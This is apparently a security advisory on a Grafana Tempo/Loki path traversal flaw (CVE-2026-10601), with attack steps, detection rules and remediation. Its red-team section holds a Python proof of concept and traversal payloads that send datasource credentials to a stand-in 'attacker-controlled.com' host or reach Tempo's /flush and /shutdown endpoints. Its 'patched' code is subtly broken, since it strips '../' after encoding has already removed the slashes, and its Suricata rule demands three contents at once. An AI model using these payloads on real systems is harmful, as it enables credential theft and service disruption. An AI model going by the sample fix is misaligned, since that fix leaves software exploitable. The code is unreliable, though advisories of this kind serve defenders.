CVE-2026-10601

Executive Summary

CVE-2026-10601 is a path traversal vulnerability in Grafana's Tempo and Loki datasource plugins. The flaw allows a user with the Viewer role to manipulate HTTP requests by injecting unsanitized user input into URL paths. This enables three primary attack vectors: (1) exfiltration of admin-configured datasource credentials (secureJsonData custom headers) by redirecting requests to an attacker-controlled endpoint, (2) invocation of state-changing admin endpoints on Tempo (e.g., /flush, /shutdown), and (3) exfiltration of internal service data via Loki's CallResource API, which returns full HTTP response bodies. The CVSS score is 5.4 (Medium), with no public exploit or patch currently available.

Supply Chain & Package Security

Grafana is a widely used open-source observability platform. The vulnerability affects the Tempo and Loki datasource plugins, which are integral components of the Grafana ecosystem. Organizations using Grafana with these plugins should treat this as a high-priority supply chain risk, as a Viewer-role user can escalate privileges and access sensitive data. No official patch or advisory has been released at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Viewer role)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is elevated due to the low privileges required and the potential for credential exfiltration and service disruption. The EPSS score of 0.0% indicates low exploitation likelihood currently, but this may change as details become public.

Deep Dive & Mechanics

The vulnerability resides in the HTTP request construction logic of the Tempo and Loki datasource plugins. When a user submits a query or request, the plugin interpolates user-supplied input directly into the URL path without proper sanitization or validation. This allows an attacker to inject path traversal sequences (e.g., ../) to redirect requests to arbitrary endpoints.

Attack Vectors:

1. Credential Exfiltration: By crafting a request that traverses to an attacker-controlled endpoint, a Viewer-role user can capture admin-configured secureJsonData custom headers (e.g., API keys, tokens) that are sent as part of the backend HTTP request.
2. Admin Endpoint Invocation (Tempo): The attacker can invoke state-changing admin endpoints on Tempo, such as /flush (force flush of data) or /shutdown (shutdown the service), leading to potential denial of service or data loss.
3. Internal Data Exfiltration (Loki): Loki's CallResource API returns the full HTTP response body. By traversing to internal services, an attacker can exfiltrate sensitive data from internal endpoints.

The vulnerability is particularly dangerous because it requires only Viewer-level privileges, which are typically granted to read-only users.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: User input directly interpolated into URL path
const url = `http://backend-service/api/${userInput}`;
const response = await fetch(url, {
  headers: { 'Authorization': `Bearer ${adminToken}` }
});

Patched Code (Conceptual):

// Patched: Input sanitized and validated
const sanitizedInput = encodeURIComponent(userInput).replace(/\.\.\//g, '');
const url = `http://backend-service/api/${sanitizedInput}`;
const response = await fetch(url, {
  headers: { 'Authorization': `Bearer ${adminToken}` }
});

The patched version uses encodeURIComponent and removes path traversal sequences (../). Additionally, the plugin should validate that the resulting path is within an allowed whitelist.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Access to a Grafana instance with Tempo or Loki datasource configured.
• A user account with Viewer role.
• An attacker-controlled endpoint to receive exfiltrated data (e.g., a webhook or HTTP server).

Exploitation Steps:

1. Credential Exfiltration:

   • Craft a request to the Tempo or Loki datasource plugin with a path traversal payload.
   • Example payload: ../../attacker-controlled-endpoint/steal
   • The plugin will send the admin-configured headers to the attacker's endpoint.

2. Tempo Admin Endpoint Invocation:

   • Use path traversal to reach /flush or /shutdown.
   • Example: ../../tempo/flush

3. Loki Internal Data Exfiltration:

   • Use CallResource with path traversal to access internal services.
   • Example: ../../internal-service/sensitive-data

Proof-of-Concept (Python):

import requests

target = "http://grafana-instance:3000"
attacker_endpoint = "http://attacker-controlled.com/collect"
session = requests.Session()

# Authenticate as Viewer
session.post(f"{target}/login", data={"user": "viewer", "password": "password"})

# Exfiltrate credentials via Tempo datasource
payload = f"../../{attacker_endpoint}/steal"
response = session.get(f"{target}/api/datasources/proxy/1/tempo/api/v1/search?query={payload}")
print(response.text)

Blue Team (Defender)

Detection Steps:

1. Monitor Grafana logs for unusual URL paths containing ../ or external domain references.
2. Alert on requests to admin endpoints like /flush or /shutdown from non-admin users.
3. Review datasource proxy logs for unexpected outbound connections.

Mitigation:

• Restrict network access to Grafana instances.
• Implement Web Application Firewall (WAF) rules to block path traversal patterns.
• Monitor for anomalous HTTP response sizes or status codes.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests from Grafana to attacker-controlled domains.
  • Requests containing ../ in the URL path to datasource proxy endpoints.
  • Requests to /flush, /shutdown, or other admin endpoints from Viewer users.

• Log IOCs:

  • Grafana logs showing path traversal or invalid path errors.
  • Datasource proxy logs with unexpected destination URLs.

• File IOCs:

  • Unauthorized access to secureJsonData fields in datasource configurations.

Detection Engineering

YARA Rule

rule CVE_2026_10601_Grafana_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in Grafana Tempo/Loki datasource plugins"
        author = "Valters IT"
        date = "2026-01-01"
        cve = "CVE-2026-10601"
    strings:
        $path_traversal = /\.\.\//
        $admin_endpoint = /\/flush|\/shutdown/
    condition:
        $path_traversal or $admin_endpoint
}

Sigma Rule

title: Grafana Tempo/Loki Datasource Path Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in Grafana datasource plugins
author: Valters IT
logsource:
    category: webserver
    product: grafana
detection:
    selection:
        url|contains: 
            - '..'
            - '/flush'
            - '/shutdown'
    condition: selection
falsepositives:
    - Legitimate use of encoded characters
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-10601 Grafana Tempo/Loki Path Traversal"; flow:to_server; content:".."; http_uri; content:"/flush"; http_uri; content:"/shutdown"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Tempo and Loki datasource plugins if not essential.
2. Restrict Viewer role permissions to prevent access to datasource proxy endpoints.
3. Implement network segmentation to limit Grafana's outbound connections.

Long-term Fixes:

• Apply vendor patch when available.
• Upgrade to a patched version of Grafana.
• Implement input validation and sanitization for all user-supplied data in URL paths.

Workarounds:

• Use a reverse proxy (e.g., Nginx) to block path traversal patterns.
• Enable strict URL validation in Grafana configuration.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert